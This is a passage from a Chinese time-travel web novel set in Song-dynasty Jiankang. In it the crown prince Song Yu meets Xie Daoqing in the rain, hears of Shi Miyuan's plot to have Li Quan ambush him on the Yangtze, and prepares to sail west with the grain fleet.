至于大宋为什么不在建康处理国政,而选在了临安,这就得说说临安的地理位置了。原因吗,也就两条,第一条,富裕繁华,第二条,方便在敌人打过来时,坐船逃向大海避难。
此时站在水营远望建康城,就见城墙由石头堆砌而成,高大雄伟,拥抱着城内错落有序的亭台楼阁,远处紫金山层峦叠嶂,烟雾缭绕。远近景色交相辉映,实在美不胜收。
宋宇深深地吸了一口江边的空气,顿觉神清气爽“:这双脚踏地的感觉,真是踏实。”
言毕,回头看向了长江,只见江水滚滚,江面宽广,水鸟往来,船只穿行,不由想起苏轼那首诗:
寄蜉蝣于天地,
渺沧海之一粟。
哀吾生之须臾,
羡长江之无穷。
不禁感慨“:要是我大宋定都在此,该多好。”
言者无心,听者有意,紧随在后的余阶听了宋宇之言,急忙问道“;殿下有迁都之意?”
宋宇回过头来咧嘴一笑,说道“:正是如此,这建康府靠江临海,扼南北交通之咽喉,实是不可多得的建都之地。”
余阶听到后,冷静的对宋宇分析道“:那殿下可要做好与满朝文武相抗衡的准备。须知若是迁都至此,这些人得田产屋舍,可都还在临安呢。”
宋宇苦笑一声“:迁都痛的只是这些个趋利附势之人,不迁都,这天下老百姓怎知我等有北上争雄之心?日日喊着要北伐,靖康之耻以来,数代人了,就连向北迁都都做不到。”
余阶听完宋宇一席话,目光坚定的说道“:不管殿下作甚,小弟都会一生相随。”
宋宇和余阶正在此闲聊,营中一水兵快速跑过来禀报道“:殿下,建康知府,并建康水营统制,一干人等前来恭迎殿下。”
听完禀报,宋宇打眼向前看去,只见两排整齐的队伍向自己走来。
宋宇不敢怠慢,整了整衣衫,领着余阶等人迎了过去。
走到近前,两队人不由分说,倒头便拜“:臣等(属下)恭迎太子殿下。”
宋宇抬了抬手,示意众人起来。
只见一头戴翅帽,身披官袍之人一脸谄笑着凑上近前“:殿下,下官建康知府吴志斌。知殿下一路风尘仆仆,特备了酒宴,来给殿下接风洗尘。”
宋宇看这吴志斌一脸的横肉,面笑心不笑,顿时心中不快。
一旁余阶小声说道“:殿下,此人史弥远忠犬。”
宋宇知道了对方底细,心中更添几分厌恶,面无表情地答道“:那倒不必了,本殿下刚刚在船上用过饭。况且现下还要处理转船事宜,除了建康水营官兵,其余人等且忙去吧。”
吴志斌讨了个没趣。乖乖的站了回去。吩咐众人道“;都退下吧。殿下已经用过饭了。”
一众文官听了吩咐,又瞅了瞅面无表情的宋宇,一个个面露失望之色,纷纷抬手向宋宇告辞而去。
宋宇伸了个懒腰,扭头问身后的王坚道“:在这健康将货物全都转到江船上,需多长时间?”
王坚一抱拳“:回殿下,最短也需三日,这三日还请殿下前去驿馆等待。待一切妥当后,小弟再差人去请殿下。”
宋宇听王坚如此说,也不想在此添乱,转过头来对着建康水营统制说道“:你等且通报下姓名。从今日起,便一切都听从我身后,这位王将军之令。”
一众将兵立马按顺序报起名来“:属下建康水营统制薛斌,小将吕文德,小将程浩。”
待宋宇听到吕文德之名时,心中又是一喜,但欣喜之中,还有一丝忧虑:这吕文德不就是射雕英雄传上,被黄蓉夫妇戏耍得襄阳守将吕将军吗?
和小说相比,此人正史上却不似这般窝囊,也是个干将。但这人的心思就不像余阶他们那般通透了。
就算描述成是个趋炎附势得小人也不为过。但对大宋还算忠心。有本事,却趋炎附势,这样的历史名人,第一次出现在自己面前,要如何是好呢?
皱眉沉思了片刻,宋宇打消了与此人结拜的想法,但结交之心还是有的,旋即一脸平静的对着吕文德说道“:吕将军,待粮草转移完毕,此次西行,你便随同前往吧。”
吕文德一听大喜,与当初王坚得反应,可谓是差之千里“:小将多谢殿下赏识。此行定然尽心竭力抚保殿下。”
宋宇赶紧挥手打断了吕文德,正色对着所有人说道“:既然此间事了,本殿下便前去驿馆了。程保赵国二人也留下在此辅助王将军吧。你等有事,便差人来驿館送信便是。”
言罢,宋宇不再过多停留,领着余阶小小两人,奔营外走去。”
今日建康这天气有些湿凉,虽是晌午,但在满天乌云的笼罩下,似是有些黄昏迫近的感觉。
但这样的天气,一点也没扫了宋宇几人的兴。自打几人一路打听,得到了建康最繁华街市的消息。便不顾赶路疲惫,马不停蹄的赶了过去。
此刻站在建康街市口,几人立马被这建康街市的喧哗吵闹所吸引。
虽则在临安也曾逛过街市。但这健康的街市,比那临安更多了许多游玩之所。
一则,这建康可是挨着大名鼎鼎的秦淮。那可是大宋文人骚客世家公子们最钟爱的地方。
二则,这建康地处水上交通要道,往来客商巨贾云集。商业想不好都难。
三则,临安到底是天子脚下,什么都管得严。而且想在街市摆摊卖做买卖,会有不少说法。
建康则宽松了许多,山高皇帝远,反倒少了些拘束,所以这健康的街市,在某些方面反倒胜过了临安。
杂耍得,摆擂台的,卖艺的,说书的,可谓是应有尽有。直令宋宇他们一路走来,眼睛都懒得眨一下,生怕错过了什么热闹看。
一旁小小这丫头,嫌宋宇和余阶这俩老爷们,在卖艺那停了下来,便留下了一句“:奴家去买衣服,少爷若是找寻不到,便和余伴读一
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同回驿站吧。”便自顾自地,离群买衣服去了。
期间余阶倒提醒过宋宇,小小这丫头不会是偷偷报信去了吧?
可俩人细一琢磨,觉得自己等人也没什么好隐瞒史弥远的。无非就是到建康了,就这点事,那个建康知府就能帮史弥远搞定。两人索性放下了警惕心,自顾自地游玩。
就这样也不知过了多久,直到一滴凉凉的液体,滴落在了宋宇的鼻尖上,宋宇打手这么一摸,又看了看天,对着一旁听说书,听得出神的余阶说道“;余老幺,似是下雨了,咱回驿站吧?”
余阶同样抬起了头,只见方才还多云见晴的天气,不知何时已经满天满天乌云翻滚,不时滴落雨点。赶忙转过头来,对宋宇说道“:少爷,我且去买两把伞,看这天,不等咱回驿站,估计就能把咱俩浇成落汤鸡。”
宋宇对余阶点了点头“:一块去吧,看了这么久,腿都站麻了,正好活动活动筋骨。”
言毕,两人一前一后挤出了人群,在这街市上找寻起卖伞之人。
待两人费了些功夫,买了两把伞之后,这雨已经越下越大。
环顾四周,仿佛黑夜初临。两人见此,立马加快了步伐,奔着城西驿站而去。
路上那些个摆摊的早已消失不见,只剩下一路油纸伞在互相碰撞。还有那不长心的,没带伞之人在雨中狂奔。
宋宇看着那些个没带伞的,呵呵傻笑着对余阶说道“:还好余老幺你细心,不然你我两人指定跟这些人似的。要多狼狈多狼狈。我有时候总想,把你带在身边,真是什么事都不需要多虑。你真是我大宋第一智囊啊!”
余阶傻笑着对宋宇说道“:殿下还是**病,你我相识这么久了,还对我评价如此之高。实不相瞒,若非殿下你在,小弟定然不会想到去买伞。”
宋宇看着余阶那一脸的傻笑,又听他说出了这么肉麻的话。顿时打了个激灵,心想;这小子和自己相处久了,越来越会说漂亮话了。
话说历史上的余阶,一直给人忠君爱国,死板,不近人情的模样。和现在跟自己打打闹闹的余阶,很难联想到一起。
莫非,自己的出现,给了近乎绝望的余阶一丝温暖?从而性情与历史上的记载迥然不同?
宋宇正在胡思乱想,一旁余阶突然疑惑的说道“:殿下,你看,前边淋在雨中那位姑娘的衣着,是不是和小小姑娘很像?”
宋宇打眼看去,只在前面不远处,一位纤弱的姑娘,正在用手遮挡着冰凉的雨点前行。
细看其穿着,顿时大吃一惊“:乖乖,还真是。”
言罢,宋宇三步并作两步赶上前去,将雨伞挡在了那位姑娘头顶。
那位姑娘突然被雨伞遮住,身体不自觉的颤抖了下,赶忙回过头,正撞上宋宇那张傻笑着的白脸“:殿下?怎,怎会如此之巧?”
宋宇看着湿漉漉的小小,正害羞的遮着前胸,立马很男子汉得,将身上干燥的外袍解了下来,披在了小小肩头,温柔的说道“:赶巧,我们也正往回走,雨冷,别着凉。”
第四十五回 大雨归客栈 故人骑马来
小小两只手抓住肩头的长袍衣角,拽入了怀中,满脸羞红的对着宋宇笑了笑。便转过头去,低头赶路,不再言语了。
宋宇顿感这丫头有些莫名其妙:初见她时,穿着几乎透视的薄纱裙,对着自己谈笑风生,百般魅惑。可现在,这姑娘竟然只因为衣服湿了,贴身露出胸部曲线了,就脸红了?这...奇怪,真是奇怪。
宋宇哪里知道,此时在小小的心中,面前傻乎乎的宋宇,给她的感觉,与数月前很是不同。
成熟稳重了不说,对人对事的态度更是判若两人。尤其是对自己,早前那满眼对自己身体的饥渴之色,已然消失。现在殿下看向自己的眼神,更像是介于朋友和亲人之间,给人一种很温暖,又很可靠的质朴之感。
实在难以想象,一个人仅仅做了一场梦,就仿佛突然间变了一个人,又或者是多了一颗心,一颗鲜活跳动的人心,使他不再是尸位素餐之辈。多了一些人间烟火气。
三个人就这样一路默默无语的向前赶去。也不知过了多久,直到立身驿站屋檐下,小小才回过头来“;殿下,驿站到了。”
宋宇恩了一声,将伞收了起来,交给了旁边的余阶。又回头看了看那漫天的大雨。正要转头进站。
忽见不远处一人一马向着自己这边疾驰而来。顿感十分疑惑,对着旁边的余阶询问道“:余老幺,这马赶得如此之急,大雨中尚不停歇,直奔驿站而来,莫不是有什么大事发生?”
余阶听到宋宇询问,转过身来奔街上望去,待看清时,嘴里不禁嘀咕道“:怪哉,这还真不是驿站的装束,这个时间,不是驿站的人,赶路如此着急,会是谁呢?”
就在宋宇和余阶说话的当口,远处的快马已经越来越近,不多时便赶到了驿站门口.
宋宇仔细端详,就见马上坐了一人,带着斗笠,脸上蒙着薄纱,分辨不清相貌。
身上穿着一件男装,此时由于大雨,早已浇成了落汤鸡。马上之人敏捷的下了马,随即走到宋宇跟前,摘下斗笠,乌黑长发散落在背后。
宋宇隔着薄纱就觉得这人十分眼熟,直到那人开口一句“:殿下,几日不见,不认得清儿了?”
这句话差点没把宋宇惊得眼珠子掉出来“:谢道清,谢姑娘?”
谢道清一听宋宇又如此喊她,眉头一皱,边拧着湿漉漉的衣袖,边嘟着小嘴嗔怪道“:殿下,你怎么又忘了?”
宋宇被谢道清一句话打醒,这才回过神来,边从余阶手中抢过雨伞,边吩咐他去牵马。
又小跑两步,将雨伞,遮在了谢道清头顶“:清儿,你来此作甚?”
宋宇这厮,竟然直接岔开了话题。
谢道清听了宋宇问询,脸立马红了,害羞的说道“:这,殿下,可否入内详谈?”
宋宇眼见谢道清一脸神神秘秘的样子,又见她浑身湿透,雨水顺着发丝衣服滴落。赶忙说道“;啊,是我的不对,清儿里面请。”
哪知谢道清却将目光定格在了小小身上,上下打量了好一会“:这位就是苏小小姑娘吧?果然天人之表,美艳动人。”
小小对着谢道清相视一笑“:谢姑娘也是明眸皓齿,端庄秀丽,敢叫芙蓉生妒。”
谢道清和小小的对话点到即止,随即转过脸,一脸幽怨的看着宋宇“:怪不得殿下这次出行,连招呼都不打一声,原来是为了躲开清儿。与小小姑娘双宿**啊。”
这几句话把宋宇说的小腿肚子一哆嗦,结结巴巴的解释道“:清儿,你...你误会了,主要是这次任务来的太急了,再者,我留了书信一封,交给了华岳,让他转交给你,你还没收到?”
谢道清依旧板着脸,从腰间小包袱里拿出了一封信“:收到了,可这么重要的事,为什么不当面跟我说?”
“:这不是时间太紧张了,真不是故意的。”
看着满头大汗不停解释的宋宇,谢道清噗嗤一声笑了出来“:殿下,跟你开玩笑的,我又不是深闺怨妇,更不是醋罐子。”
见谢道清露出笑容,宋宇如释重负的擦了一把额头的汗水“:还好清儿宰相孙女肚里能撑船。”
言毕,宋宇拉着谢道清的手就向驿站中走去,期间谢道清那湿漉漉的手心,传来阵阵凉意,让宋宇不由打了两个喷嚏。
“:清儿,你太胡闹了,要是被雨淋得伤寒,可怎么是好?”
谢道清感受着宋宇那宽厚的手掌传来的阵阵暖意“:没事,清儿身体好得很,这点雨,算不得什么。”
宋宇两人前边走,余阶独自牵着马去了马厩,独独剩下小小一人目视着亲密的宋宇两人背影渐行渐远:这就是大家闺秀吗?这么远来找殿下,想必对殿下很是上心,这两人,真是般配啊。想我这等身份卑贱的风尘女子,配拥有吗?
“:小小,快来,找个毛巾过来。”
远处传来宋宇的喊叫声。小小赶忙回应“:来了殿下。”小跑着进了驿站。
宋宇此时忙的不可开交,一边小跑着让驿站烧了壶姜糖水,小心翼翼的端到了谢道清跟前,帮忙吹凉,又拿汤勺一口一口的喂给谢道清喝。
谢道清一脸幸福的喝着姜糖水,不多时苍白的脸上显出红晕之色,看来热姜糖水起了作用。
“:殿下,毛巾来了。”
宋宇哦了一声,跑上前去拿毛巾开始帮谢道清擦拭湿漉漉的秀发“:小小,去让驿站烧盆洗澡水。”
小小本来一脸羡慕的盯着俩人看,听了宋宇的吩咐,赶忙下楼喊人烧水去了。
“:你和小小日夜在一块?”
谢道清一句话让宋宇再次不知所措“:没,没有。小小有自己的房间。”
“:大宋男人三妻四妾不是很正常么?殿下不喜欢她?”
“:我哪配说不喜欢人家?这姑娘身世可怜,我可不想欺负人家。”
“:那就是怜香惜玉了?”
“:那倒不是,我只是不想把任何人当作商品物品对待,大家都是人,只
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是命运不同罢了,出身低微,并没有比别人卑贱多少。更不应该是有钱有权之人的玩物。”
“:殿下的想法,很特殊。说是菩萨心肠也不为过。”
“:殿下,洗澡水烧好了,让谢姑娘出来吧。”
门外传来小小那黄鹂鸣叫般的呼唤。谢道清起身对着宋宇说了句殿下稍等,便走出了房间。
约莫一盏茶功夫之后,谢道清在小小的引领下,回到了宋宇的房间。
此时余阶已经将马栓好,正和宋宇盘腿坐在卧房茶几前,品着茶,有一搭没一搭的唠着闲话。
宋宇抬头看去,就见谢道清披散着湿漉漉的头发,换下了方才赶路时穿的男装,穿上了一件小小的白色丝绸长袍,若出水芙蓉般明艳动人。
见小小和谢道清走了进来,两人慌忙起身相迎“:谢姑娘(清儿),这边请入座。”
谢道清也不见外,盘膝坐到了宋宇身旁,问宋宇道“:殿下,你且看,这小小姑娘得丝绸衣服,穿清儿身上,合身吗?”
宋宇煞有介事的皱眉,仔仔细细的看了又看,随即板起脸品评道“:小小这丫头,确实挺会买衣服的。”
“:噗......”一旁的小小一口气没憋住,笑了出来。但立马感觉气氛不对,慌忙解释“:殿下,谢姑娘说有要紧事,与你详谈,小小便不在此叨扰了。”
言罢,小小冲着余阶使了个眼色。余阶偷瞄了一眼满脸涨的通红的谢道清,顿感事态不对,抬起头来,正巧碰上小小这丫头使眼色。
心中立马透亮了,感情自己在呆在这,要被人轰出去了。心领神会得他,立马告辞,和小小退了出去。
俩人一走,宋宇这心里顿时上下打鼓:怎么都出去了?我和谢姑娘聊个天,至于吗?
宋宇转过头去瞄了谢道清一眼,不瞅还好,一瞅,这心跳立马加速了三倍。
只见谢道清正杏眼圆睁得瞪着自己,宋宇更好奇这丫头想要说的到底是什么重要事?
“:咳恩!清儿,今儿,天儿不错!”
谢道清听了宋宇这没头没脑的一句话,乐了,边笑边说道“:殿下,外边下雨呢。”
宋宇看谢道清这丫头乐了,忙改口,继续说道“:清儿,怎会如此之巧?你也来到这健康?”
谢道清听到宋宇问自己为何回来,立马止住了笑声,严肃的说道“:殿下,清儿特来救你的性命。”
“:啊?我这不是好好的吗?为何要救我?反倒是你,如此柔弱,却要不知疲惫的,骑马一路来到健康如此之远,若真是为了救我,我于心何忍?”
哪知谢道清并没有介意宋宇怪自己,依旧表情严肃的说道“;殿下,你可还记得,那日在临安街市上救我之时,网开一面,放走了一帮史府中的泼皮?”
宋宇眨巴眨巴眼“:确有此事,我还记得,当时带头的那人,名叫狗爷。嗨!不过就是告知了姓名而已,怎的?这史弥远为此事,在朝会上又参了我一本?”
第四十六回 狗爷来报信 万昕去山东
谢道清故作神秘的说道“:这倒不是,就在殿下登船运粮走的那日,这狗爷突然跑到了我谢府,指名要求见于我。待丫鬟将他带到了我面前,这狗爷,竟说出了一件天大的秘密。”
宋宇听到此,皱了皱眉头“:怎的?史弥远那倒霉儿子,又想出毒计,加害于你了?”
谢道清对着迟钝的宋宇,摇了摇头“;不是他儿子,是史弥远本人,而且要加害的,是殿下你。”
宋宇被谢道清说的越加糊涂了,追问道“;怎的害我之事,反倒去找清儿你?”
“:清儿当时也以为是那史施德养好了伤,诳我,哪知这狗爷一句话,立马让清儿打消了这个念头,那狗爷说,殿下你的府上,史弥远安插了间隙,若是去了,管饱是个死。”谢道清看宋宇不太相信,一脸认真的解释道。
宋宇听到谢道清说府内有间隙,禁不住打了个冷战:乖乖,间隙?也不知他说的是小小,还是有别的间隙?照理说刘克庄接管府内事务后,对府内人员盘查的十分仔细,应该说的是小小吧?
以防万一,若还有间隙恰好是个厨子,在饭菜里**,岂不是死的更快?不行,这次回去后,定要让刘克庄再好好彻查一番。如此想着,宋宇继续问谢道清“:这狗爷说了什么要紧事?”
谢道清看宋宇开窍了,紧皱的眉头略微舒展“:狗爷说,有一日在史弥远门口站班,无意中听到他史弥远,让总管万昕去给山东李全送信,让这李全在长江之上,截杀殿下。”
“:李全?山东忠义军首领?这史弥远果然跟李全有说法啊!”宋宇既疑惑又吃惊得自言自语道。
谢道清看宋宇眼神复杂,以为宋宇仍旧不相信自己所说,继续的对宋宇叮嘱道“:殿下,宁可信其有,不可信其无。攸关身家性命,还请殿下留心。”
宋宇看谢道清误会了自己心中所想,赶忙澄清道“:清儿,我已尽信,实不相瞒,出发前一天,我便知晓这运粮荆襄,乃是史弥远所安排。但却无理推脱。这几日飘荡在海上,始终小心谨慎,不敢有丝毫疏忽。今日清儿你来此说出了史弥远的计策,实是帮了我一个大忙啊。”言罢,宋宇满脸感激的看向谢道清。
谢道清听明白了事情始末,紧张的心,终于放下了,又露出了平素那讨喜的微笑“:能帮到殿下便好。这一路走来,清儿还真怕殿下已经碰上了什么麻烦。又怕错过了殿下停靠建康的时间。还好,都赶上了。看到殿下你相安无事,清儿再苦再累也值。”
宋宇被谢道清的暖言暖语搞得一时不知所措,竟乱了方寸脱口而出“:谁娶到了清儿,真是捡到宝了。”
谢道清被宋宇突如其来的话语羞得满脸通红“:事关大宋的未来,只要良知尚在,都会帮殿下的。”
话到此处,两个人就这样傻傻的看着对方许久,终是谢道清这丫头又开口了“:殿下,清儿想要与你同行,还请殿下准许。”
宋宇听这丫头说要同行,心里就是一咯噔:我这一路走去,少不得凶险,李全,到底会带来多少兵马来对付我?战斗力比我**多少?此战万一有个闪失?
一连串的问题,让宋宇不敢再想下去,温柔的对着谢道清拒绝道“;清儿,此去凶险万分,若是有个闪失,我死是小,怎么能连累清儿你?。况且,令尊大人此时尚在家中等候你回去。清儿便莫要让我难做了。”
“:你!哼......”
谢道清眼见宋宇拒绝了自己的提议,冷哼了一声。眼神中充满了失望,但低头思虑了片刻,又高兴地将头抬了起来“;殿下,清儿帮你如此大忙,殿下总该给点酬劳吧?”
宋宇见谢道清变脸比翻书还快,有些不知所措,暗道:清儿肯定没死心,现在要的赏赐,八成还是同去襄阳。
不如将计就计,顺着对方要赏赐的路数,彻底让她死心。
“:清儿数次搭救,我在此谢过了,只要不跟随船队出发,想要什么尽管说。我若是皱一下眉头,天打雷劈。”
谢道清本来想借着赏赐之名要挟宋宇让自己跟随,却被宋宇这木头脑袋直接堵**自己的小算盘。
眼见自己的算计被宋宇轻易戳破,一时气愤,撅着嘴对宋宇大声说道“:殿下,呆瓜,以后你就算掉江里了,本姑娘也会视而不见。”
言罢,谢道清怒气冲冲的走出了宋宇卧房。留下一脸错愕的宋宇,愣愣得坐在原地发呆。
谢道清前脚刚出去,余阶后脚便走了进来,看了看傻乎乎发呆的宋宇,疑惑的问道“:殿下,您说错什么话了?怎的将谢姑娘气成那样?”
宋宇摇了摇头,双手一摊无奈的说道“:前世拼命追,今世拼命推,性命只在朝夕之间,又怎敢误了人家性命?”
莫名其妙的说出这么一席话,宋宇长叹口气“:清儿带来了消息,史弥远要动手了。”
余阶一听宋宇言语,顿时来了兴致,快速坐在了宋宇对面,倒了杯茶“:哦?殿下说来听听。”
“:兄弟,你就不问问消息可靠不可靠?”
余阶端着茶杯,品了一口,平静的问道“:谢姑娘的人品,小弟信得过。还请殿下明言。”
宋宇嘿嘿一笑,将方才谢道清所说之事,原原本本的讲给了余阶,只见余阶神情越发紧绷,待宋宇一席话讲完,余阶禁不住拍腿叫好“;妙哉,此番西行,殿下可有惊无险矣。”
话分两头,两日前,淮南东路楚州一豪华宅院前厅内。正手太师椅上,有一约莫四十来岁之人正悠然的坐在太师椅上闭目养神。
两旁跪着两名丫鬟正在捶腿。偏座则是一妙龄女子,一身红色戎装,背后血红披风。一杆**在侧,看上去俊美中透着几分英气。就这样一言不发的坐着。
不多时,一门口小厮求见,入得厅内,倒地便拜“
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;总管,姑姑。门外史弥远府上下人求见。”
太师椅上坐得,正是山东义军头领李全,而坐于侧首得,便是一代女将杨妙珍。
只见李全听了禀报,懒洋洋的睁开了双眼,冲着正在为自己捶腿的两名婢女摆了摆手,示意其退下,这才提了提精神说道“:既是史相府上来人,速速带入堂来。切莫冷落了。”
小厮得了令,领了声喏,快步走了出去。李全转过头,笑着对杨妙珍说道“;妙真,俺说俺滴右眼咋老跳呢?感情是有人给俺们送银子来了。”
堂下俊美的杨妙珍听了李全言语并未开心,反倒是摇了摇头“:头领,这史弥远在大宋恶名昭彰,广结党羽,招财纳贿。早晚必有不臣之心,头领还是莫要在与此人有所牵扯了,以免留下恶名,遭后世子孙唾骂。”
哪知李全听了杨妙真的指责,全然不放在心上,依旧一副无赖相,对着杨妙珍继续说道“;他史弥远想要弄啥?那是他滴事。俺李全,向来是一码归一码,他给俺送钱,俺就帮他弄别人。送滴多,俺就朝死里弄。送滴少,俺就弄个半死。这就叫收人钱财,**。你说是不是这个理,妙珍?”
杨妙珍不削的看了一眼李全“:当年我爹起兵反金,就是看不惯这些当官的贪婪无度,把人往死里逼。你倒好,专门和这些人眉来眼去,把我山东义军的脸,都给丢尽了。”
“:嗨!妙珍。这天下,哪有不变滴道理?说到底,还是谁滴拳头硬,谁说了算。以前俺们是民,跟那些官老爷身份不对等,现在好不容易能和他们平起平坐,甚至是让他们拿着银子来求俺们办事。又有银子,又让官老爷们高看俺们一眼,这多好的事?”
杨妙真却并未被说服,甚至是有些愠怒“:你看他史弥远让你干的都是什么龌龊事?杀的又都是哪些人?上次淮东一个统制就因为参了史弥远一本,就被史弥远记恨,让你除掉了人家,事后兵马归你,史弥远少了一根扎手的刺。殊不知,这世上又少了一个好官。”
“:妇人之见,好官?内斗罢了。再者俺们平白多了不少兵马,这也错了?管他大宋如何内斗?俺们只管闷声发财不就好了?”
杨妙真差点被气笑,深知这李全终究不懂什么叫道义。明白劝也是白劝,干脆不再言语了。
不多时,小厮领着史弥远府上之人走入了堂内,只见此人见了李全,也不跪拜,乐呵呵的对着李全拱了拱手,也不待人劝,便寻了个座位坐了下来。
李全见此,也不以为意,俗话说得好,宰相门前三品官,更何况这人每次来都是送钱来呢?
只听李全十分客气的与此人打招呼“;哎呀!俺是盼星星,盼月亮,总算是盼来了俺的万总管。万总管此来,是不是又有啥好买卖那?”
不错,这史弥远所差之人,便是前些时候被宋宇可劲羞辱了一番的万昕,小丸子。
第四十七回 山东的算计 无言的告别
只见此时的万昕一扫那夜被宋宇羞辱得狼狈样,趾高气昂的撇了一眼李全说道“;承蒙李总管瞧得起,在您面前,在下哪当得起总管两字?”
李全摆了摆手,道“;哎呦,当滴起,当滴起,你就是俺滴亲总管。俺这里十数万兄弟,可都靠着你和史相的施舍,才能活命啊。哈哈哈......”
万昕听到李全如此恭维自己,更加得意,只见他清了清嗓子,继续趾高气昂的说道“;既如此,那本总管也不讲些客套话了,此次来,是给李总管你带来了一个好消息。”
李全见说,眼睛睁的溜圆,双目放光,满脸期待的对着万昕问道“;哎呦喂!莫非史相准了俺滴节度使之位?”
万昕故作神秘的摇了摇头,他就是要逗一逗李全这草包,要知道,自己整日里在相府那些个大人们面前装孙子,给他们跑里跑外,累的跟狗似的,还拿的最少。简直是太没天理了。
这出了相府,自己还不处处是大爷?所谓府内装孙,府外装逼,这可是万昕的一贯做人之道,只见这万昕翘起了二郎腿,色迷迷的盯着对面端坐,一语不发得杨妙珍那对挺拔的双峰,简直哈喇子都要流下来了。
直到杨妙珍怒目而视,这畜生才收回了那对不老实的招子。转过头来对着李全说道“;总管还提这节度使之位?你可知这朝庭上有人参了总管你一本,说你擅自攻击张林,逼其反投蒙古,又趁官员调动之际,强行吞并了帐前忠义军,哎呀,此事可是将整个朝堂搅得天翻地覆啊。”言罢,万昕露出一脸大便干燥似得表情。对着李全是直摇头,一副恨铁不成钢的样子。
李全听完万昕所言,顿时大惊,慌忙解释道“:哎呀,俺滴万总管啊,这纯粹是血口喷人那。俺李全对天发誓,绝无此事。”
万昕看得李全那副怂样,心中嘿嘿冷笑:如此草包,怪不得史相对这李全是青睐有加。鼠目寸光,胆小怕事。这样的人,手下再多的兵将,也起不了多大风浪。
如此想着,万昕不再逗这李全,拍了拍鞋面泥土,一脸轻视得对着李全说道“:李总管,就您那点事,三岁小孩都瞒不过。又何必在此欺我?况且本总管此次来,又不是来质问于你。你又怕个甚?”
李全初听万昕言语,面露不悦之色。但还是不声不响让万昕将话讲完了。只见这李全仔细琢么了一番万昕话语。才转怒为喜问道“:敢问万总管何以教俺?”
万昕淡淡的摆摆手“:不敢当,其实你所做之事,史相可谓是心知肚明。那日在朝堂上,更是力排众议,将此事压了下去。但史相对你不打招呼,便私自行事之举,可是大大的不悦啊。”
李全见事情解决,脸上顿时笑开了花“:哎呀,万总管,史相可真谓是俺的再生父母啊。你回去后可得替俺好好咧谢谢史相。俺保证,以后没有史相吩咐,俺李全绝对不会再擅自做主。来人哪,给万总管拿些路上的盘缠,对了,再找两个美女,让万总管今晚好好放松放松。”
言罢,李全似又想起了什么,继续问万昕道“:敢问万总管,这就是你说咧喜事?”
万昕摆摆手“:此事并非万某要说之事,实是史相吩咐,给总管你提个醒。至于今日为何来此,实是要给李总管你介绍一笔大买卖。”只见这万昕一脸奸笑的说道。
李全那边来了大买卖,宋宇这边也没闲着。自打遇见了谢道清,宋宇这心里始终像坠着块石头,上下忐忑。
为了让这块石头落地,宋宇这两日没干别的,始终在寻找机会劝谢道清回临安。
但自从那晚谢道清怒气冲冲的走出了宋宇卧房,便好似故意躲着宋宇似的。找了数次,这姑娘不是和小小一块去逛街了,便是在洗澡。或者干脆闭门谢客,赖在小小屋里不理人。
把宋宇这个气的啊,吃也吃不香,睡也睡不着。直到第三日一大早,建康水营那边来人说粮草已转好。宋宇才稍微露出了一丝释然的面容。再次领着余阶敲响了谢道清的房门。
但前来开门之人,却是小小。只见小小对着不住往屋里打量的宋宇行了个倩礼“:殿下,你来晚了,清儿姑娘一大早便出去了。”
宋宇砸吧砸吧嘴“:唉,也不知上辈子是欠了谢姑娘什么债。今生却来讨要了。”
小小看平素少有愁容得宋宇,这几日却似失了魂。眼神中露出一丝怜悯。再次劝宋宇道“:殿下似是有什么心事?可否说与小小?”
宋宇摇了摇头,双手一摊说道“:没事。啊,对了,今日晌午吃了饭,咱们便启程。你且好生收拾一下。倘若你见了谢姑娘,顺便帮本殿下向他告辞。”言罢领着余阶扭头又回卧房喝茶聊天去了。
直到晌午吃饭,宋宇都没再见到谢道清。心里又有些侥幸,暗道:清儿不回来也好,我就此不告而别。待她寻我之时,恐怕我早已在长江之上了。
到时候她就是想跟随,也没了机会。清儿,你可别怪我,这可都是为了你的安全着想。
暗自打定主意不告而别。吃了饭,赶忙催促众人收拾东西。少时驿站门口集合。
约莫一盏茶功夫之后,驿丞将宋宇等人的马车赶到了客栈门口。宋宇和余阶也次第从驿站之内走了出来。
但左右寻找,发现小小还未出来,宋宇顿时埋怨开来“;这些个女人啊,向来不守时辰。跟她说了快点,这马车都备好了。却还不见人来。”
哪知话音刚落不久,小小那黄鹂般的声音便传了过来“:让殿下和余伴读久等了,小小这两日买了好些衣服,刚才整理,着实费了些功夫。还请殿下见谅。”
宋宇现在十分担心谢道清半路杀回来,到时若被这姑娘撞见自己不辞而别,岂不是很难看?
见小小都这时候了,还在磨蹭,牢骚满腹的边回头,边催促小小“;小小,不是本殿
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下说你,你也......”
话刚说到这,宋宇已转过脸去,登时让身后的一幕当场震住了,满脸吃惊的,指着小小身后两个驿卒手中抬着的大箱子说道“:我的天啊!这都是这两日你买的?这得多少银子那?”
小小看着抠门的宋宇,捂着嘴偷笑起来。边笑边指着宋宇身后的余阶说道“:都是余伴读出银子,还不买个痛快?”
宋宇听小小这么一说,才想起当日在船上戏弄余阶那一幕,顿时感觉自己坑苦了这位兄弟,忙满脸愧色转过头去看余阶。
余阶看宋宇转过头来盯着自己,顿时涨红了脸,双手一摊,有些委屈的说道“:前番殿下赏得银子,一个子没剩。小小姑娘是大头儿”
宋宇无奈的摆了摆手“:得,咱兄弟俩差不多。我是心里坠着块石头,吃不香,睡不着。兄弟你是钱袋被洗劫。谁也别劝谁了。咱赶紧回船上吧。”说语毕,宋宇也不再墨迹,吩咐众人装好了行礼,上了马车。赶忙催促驿站马车奔建康水营而去。
建康到底是六朝古都,一路所过,皆是石板铺路,垂柳相依。但宋宇此时却无心再多看一眼于路的美景。
此时的他,心中只想着一件事:清儿若寻不到我,肯定会死心吧?这次可把她惹了个彻底。恐怕下次即使能再见,也不会再搭理自己。唉!女人,没有麻烦,有了也麻烦。
罢了,自己性命尚且朝不保夕,若与她相好,岂不是害了这姑娘?谢皇后在历史上,可没这般命短。
一路颠簸,马车已回到了建康水营。一旁的余阶拍了拍埋头苦思得宋宇肩膀,轻声说道“;殿下,到了,外边一众兵将都在等候。”
宋宇被余阶从沉思中唤醒,回过神来,揉了揉紧皱的眉头。对着余阶恩了一声,便和众人下了马车。
马车之外,王坚与建康水营一众兵将见宋宇走出马车,纷纷单膝跪地,双手抱拳喊道“:属下等,参见太子殿下。”
宋宇单手摆了摆,吩咐众人起身说话,又四下看了看,确定谢道清没等在这里后,心里坠着的那块石头总算落了地。
对着众人说道“:粮草可已转妥?此行船只几何?”
只见建康水营统制薛斌听到宋宇问询,双手抱拳回道“;回殿下,十万旦粮草,已分粮船三十五艘载运。另外,属下调派水营战船三十艘随护。至于这随行人员,还需殿下亲自安排。”
